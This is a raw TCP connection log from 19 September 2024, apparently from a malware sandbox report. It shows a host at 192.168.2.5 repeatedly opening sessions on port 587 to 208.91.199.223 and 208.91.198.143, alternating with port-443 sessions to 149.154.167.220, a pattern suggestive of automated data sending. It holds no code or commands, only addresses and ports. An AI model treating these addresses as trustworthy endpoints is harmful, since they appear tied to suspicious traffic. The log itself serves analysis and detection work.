Sep 19, 2024 12:23:03.920769930 CEST	61589	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:03.920780897 CEST	61588	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:03.925549030 CEST	587	61589	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:03.925621986 CEST	587	61588	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:04.077073097 CEST	587	61589	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:04.078944921 CEST	61589	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:04.081255913 CEST	587	61588	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:04.083230972 CEST	61588	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:04.083761930 CEST	587	61589	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:04.087985039 CEST	587	61588	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:06.452718973 CEST	587	61588	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:06.456331015 CEST	61588	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:06.461246014 CEST	587	61588	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:06.710851908 CEST	587	61589	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:06.711446047 CEST	61589	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:06.711734056 CEST	587	61588	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:06.716475010 CEST	587	61589	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:06.716608047 CEST	61588	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:06.721586943 CEST	587	61588	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:06.867896080 CEST	587	61589	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:06.874658108 CEST	61589	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:06.879528999 CEST	587	61589	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:06.893332958 CEST	587	61588	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:06.894830942 CEST	61588	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:06.897478104 CEST	61590	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:06.897515059 CEST	443	61590	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:06.898219109 CEST	61590	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:06.899943113 CEST	587	61588	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:06.899979115 CEST	61590	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:06.899998903 CEST	443	61590	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:06.900036097 CEST	61588	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:07.056268930 CEST	587	61589	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:07.056467056 CEST	61589	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:07.059329033 CEST	61591	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:07.059366941 CEST	443	61591	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:07.059425116 CEST	61591	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:07.059849977 CEST	61591	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:07.059865952 CEST	443	61591	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:07.061619043 CEST	587	61589	208.91.199.223	192.168.2.5
Sep 19, 2024 12:23:07.061666012 CEST	61589	587	192.168.2.5	208.91.199.223
Sep 19, 2024 12:23:07.505095959 CEST	443	61590	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:07.533498049 CEST	61590	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:07.533524990 CEST	443	61590	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:07.533628941 CEST	61590	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:07.533638954 CEST	443	61590	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:07.785913944 CEST	443	61591	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:07.788106918 CEST	61591	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:07.788170099 CEST	443	61591	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:07.788240910 CEST	61591	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:07.788260937 CEST	443	61591	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:07.865916014 CEST	443	61590	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:07.866539001 CEST	443	61590	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:07.866626978 CEST	61590	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:07.866918087 CEST	61590	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:07.878295898 CEST	61592	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:07.883160114 CEST	587	61592	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:07.883239985 CEST	61592	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:08.326313972 CEST	443	61591	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:08.326400042 CEST	443	61591	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:08.326838017 CEST	61591	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:08.327075958 CEST	61591	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:08.328175068 CEST	61593	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:08.333074093 CEST	587	61593	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:08.333151102 CEST	61593	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:08.492945910 CEST	587	61592	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:08.493108034 CEST	61592	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:08.498230934 CEST	587	61592	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:08.653276920 CEST	587	61592	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:08.653450012 CEST	61592	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:08.658293962 CEST	587	61592	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:08.816603899 CEST	587	61592	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:08.816941023 CEST	61592	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:08.822685003 CEST	587	61592	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:08.910904884 CEST	587	61593	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:08.911120892 CEST	61593	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:08.918133974 CEST	587	61593	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:09.072935104 CEST	587	61593	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:09.073097944 CEST	61593	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:09.079116106 CEST	587	61593	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:09.237623930 CEST	587	61593	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:09.237869978 CEST	61593	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:09.242724895 CEST	587	61593	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:10.524976015 CEST	587	61592	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:10.525319099 CEST	61592	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:10.530229092 CEST	587	61592	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:10.687833071 CEST	587	61592	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:10.688066959 CEST	61592	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:10.692944050 CEST	587	61592	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:10.864784956 CEST	587	61592	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:10.868330956 CEST	61592	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:10.870764017 CEST	61594	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:10.870806932 CEST	443	61594	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:10.871603012 CEST	61594	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:10.871788979 CEST	61594	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:10.871795893 CEST	443	61594	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:10.873447895 CEST	587	61592	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:10.873601913 CEST	61592	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:11.454634905 CEST	587	61593	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:11.454828978 CEST	61593	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:11.459686041 CEST	587	61593	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:11.490413904 CEST	443	61594	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:11.492486954 CEST	61594	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:11.492503881 CEST	443	61594	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:11.492549896 CEST	61594	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:11.492557049 CEST	443	61594	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:11.618612051 CEST	587	61593	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:11.618769884 CEST	61593	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:11.623611927 CEST	587	61593	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:11.799143076 CEST	587	61593	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:11.799369097 CEST	61593	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:11.801920891 CEST	61595	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:11.802016020 CEST	443	61595	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:11.802089930 CEST	61595	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:11.802406073 CEST	61595	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:11.802436113 CEST	443	61595	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:11.804497004 CEST	587	61593	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:11.804554939 CEST	61593	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:11.822186947 CEST	443	61594	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:11.822278976 CEST	443	61594	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:11.822320938 CEST	61594	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:11.822823048 CEST	61594	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:11.824124098 CEST	61596	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:11.828962088 CEST	587	61596	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:11.829026937 CEST	61596	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:12.406800985 CEST	587	61596	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:12.408338070 CEST	61596	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:12.414921045 CEST	587	61596	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:12.419039965 CEST	443	61595	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:12.420901060 CEST	61595	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:12.420942068 CEST	443	61595	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:12.422372103 CEST	61595	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:12.422382116 CEST	443	61595	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:12.569782019 CEST	587	61596	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:12.573373079 CEST	61596	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:12.578326941 CEST	587	61596	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:12.735512018 CEST	587	61596	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:12.735920906 CEST	61596	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:12.740778923 CEST	587	61596	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:12.741662979 CEST	443	61595	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:12.741749048 CEST	443	61595	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:12.744235992 CEST	61595	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:12.745573044 CEST	61595	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:12.748172998 CEST	61597	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:12.753077030 CEST	587	61597	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:12.753824949 CEST	61597	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:13.297363997 CEST	587	61597	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:13.297533035 CEST	61597	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:13.302541018 CEST	587	61597	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:13.451862097 CEST	587	61597	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:13.452032089 CEST	61597	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:13.457339048 CEST	587	61597	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:13.609651089 CEST	587	61597	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:13.609889984 CEST	61597	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:13.614777088 CEST	587	61597	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:14.456598043 CEST	587	61596	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:14.464150906 CEST	61596	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:14.469172001 CEST	587	61596	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:14.626638889 CEST	587	61596	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:14.627041101 CEST	61596	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:14.631876945 CEST	587	61596	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:14.822629929 CEST	587	61596	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:14.823551893 CEST	61596	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:14.825690031 CEST	61598	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:14.825792074 CEST	443	61598	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:14.826062918 CEST	61598	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:14.826217890 CEST	61598	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:14.826237917 CEST	443	61598	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:14.829140902 CEST	587	61596	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:14.829657078 CEST	61596	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:15.433542967 CEST	443	61598	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:15.435476065 CEST	61598	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:15.435545921 CEST	443	61598	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:15.435601950 CEST	61598	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:15.435623884 CEST	443	61598	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:15.451162100 CEST	587	61597	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:15.451296091 CEST	61597	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:15.456336975 CEST	587	61597	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:15.609046936 CEST	587	61597	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:15.609165907 CEST	61597	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:15.614434004 CEST	587	61597	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:15.752204895 CEST	443	61598	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:15.752568960 CEST	443	61598	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:15.752634048 CEST	61598	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:15.752993107 CEST	61598	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:15.754666090 CEST	61599	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:15.760353088 CEST	587	61599	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:15.760432959 CEST	61599	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:15.783632040 CEST	587	61597	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:15.783862114 CEST	61597	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:15.786984921 CEST	61600	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:15.787024975 CEST	443	61600	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:15.787089109 CEST	61600	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:15.787344933 CEST	61600	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:15.787359953 CEST	443	61600	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:15.789503098 CEST	587	61597	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:15.789556026 CEST	61597	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:16.315160990 CEST	587	61599	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:16.315447092 CEST	61599	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:16.320314884 CEST	587	61599	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:16.393572092 CEST	443	61600	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:16.395243883 CEST	61600	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:16.395324945 CEST	443	61600	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:16.396100998 CEST	61600	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:16.396116972 CEST	443	61600	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:16.471266985 CEST	587	61599	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:16.472295046 CEST	61599	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:16.477217913 CEST	587	61599	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:16.630070925 CEST	587	61599	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:16.634167910 CEST	61599	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:16.639267921 CEST	587	61599	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:16.699484110 CEST	443	61600	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:16.699605942 CEST	443	61600	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:16.700762987 CEST	61600	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:16.700762987 CEST	61600	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:16.703154087 CEST	61601	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:16.708120108 CEST	587	61601	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:16.711425066 CEST	61601	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:17.257338047 CEST	587	61601	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:17.257496119 CEST	61601	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:17.262427092 CEST	587	61601	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:17.412421942 CEST	587	61601	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:17.412594080 CEST	61601	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:17.419425964 CEST	587	61601	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:17.570600986 CEST	587	61601	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:17.570909023 CEST	61601	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:17.575782061 CEST	587	61601	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:18.630731106 CEST	587	61599	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:18.630966902 CEST	61599	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:18.635979891 CEST	587	61599	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:18.790747881 CEST	587	61599	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:18.793344021 CEST	61599	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:18.798294067 CEST	587	61599	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:18.985246897 CEST	587	61599	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:18.985474110 CEST	61599	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:18.987716913 CEST	61602	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:18.987808943 CEST	443	61602	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:18.987885952 CEST	61602	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:18.988194942 CEST	61602	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:18.988229036 CEST	443	61602	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:18.990674019 CEST	587	61599	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:18.990727901 CEST	61599	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:19.705338955 CEST	587	61601	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:19.705509901 CEST	61601	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:19.710709095 CEST	587	61601	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:19.713550091 CEST	443	61602	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:19.715478897 CEST	61602	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:19.715542078 CEST	443	61602	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:19.715598106 CEST	61602	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:19.715616941 CEST	443	61602	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:19.863568068 CEST	587	61601	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:19.863692999 CEST	61601	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:19.868655920 CEST	587	61601	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:20.039191961 CEST	587	61601	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:20.042433023 CEST	61601	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:20.046426058 CEST	61603	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:20.046493053 CEST	443	61603	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:20.047646046 CEST	587	61601	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:20.047739029 CEST	61603	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:20.047909975 CEST	61601	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:20.047962904 CEST	61603	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:20.047996998 CEST	443	61603	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:20.111507893 CEST	443	61602	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:20.111711979 CEST	443	61602	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:20.114675999 CEST	61602	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:20.115964890 CEST	61602	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:20.115986109 CEST	61604	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:20.120940924 CEST	587	61604	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:20.122390032 CEST	61604	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:20.606172085 CEST	61604	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:20.610470057 CEST	61605	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:20.610516071 CEST	443	61605	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:20.610867023 CEST	61605	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:20.611179113 CEST	61605	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:20.611187935 CEST	443	61605	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:20.613907099 CEST	587	61604	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:20.614801884 CEST	61604	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:20.671483040 CEST	443	61603	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:20.675904036 CEST	61603	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:20.675932884 CEST	443	61603	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:20.678745031 CEST	61603	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:20.678761005 CEST	443	61603	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:21.069432974 CEST	443	61603	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:21.069513083 CEST	443	61603	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:21.069578886 CEST	61603	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:21.070122957 CEST	61603	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:21.071577072 CEST	61606	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:21.076527119 CEST	587	61606	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:21.076601982 CEST	61606	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:21.224313974 CEST	443	61605	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:21.275299072 CEST	61605	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:21.275310993 CEST	443	61605	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:21.275427103 CEST	61605	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:21.275434017 CEST	443	61605	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:21.621519089 CEST	587	61606	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:21.621706009 CEST	61606	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:21.627250910 CEST	587	61606	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:21.657454014 CEST	443	61605	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:21.657661915 CEST	443	61605	149.154.167.220	192.168.2.5
Sep 19, 2024 12:23:21.657713890 CEST	61605	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:21.661171913 CEST	61605	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:23:21.662853003 CEST	61607	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:21.667820930 CEST	587	61607	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:21.667958975 CEST	61607	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:21.776823997 CEST	587	61606	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:21.777040005 CEST	61606	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:21.782831907 CEST	587	61606	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:21.933871031 CEST	587	61606	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:21.934096098 CEST	61606	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:21.938990116 CEST	587	61606	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:22.213206053 CEST	587	61607	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:22.214399099 CEST	61607	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:22.219413996 CEST	587	61607	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:22.368962049 CEST	587	61607	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:22.369407892 CEST	61607	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:22.374413013 CEST	587	61607	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:22.615530968 CEST	587	61607	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:22.615761042 CEST	61607	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:22.620752096 CEST	587	61607	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:24.547962904 CEST	587	61606	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:24.548032045 CEST	587	61607	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:24.550306082 CEST	61607	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:24.550311089 CEST	61606	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:24.555249929 CEST	587	61607	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:24.555316925 CEST	587	61606	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:24.705976963 CEST	587	61606	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:24.707268000 CEST	61606	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:24.707547903 CEST	587	61607	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:24.707931042 CEST	61607	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:24.712831974 CEST	587	61606	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:24.712935925 CEST	587	61607	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:24.881469011 CEST	587	61606	208.91.198.143	192.168.2.5
Sep 19, 2024 12:23:24.881824017 CEST	61606	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:23:24.885272980 CEST	61608	443	192.168.2.5	149.154.167.220
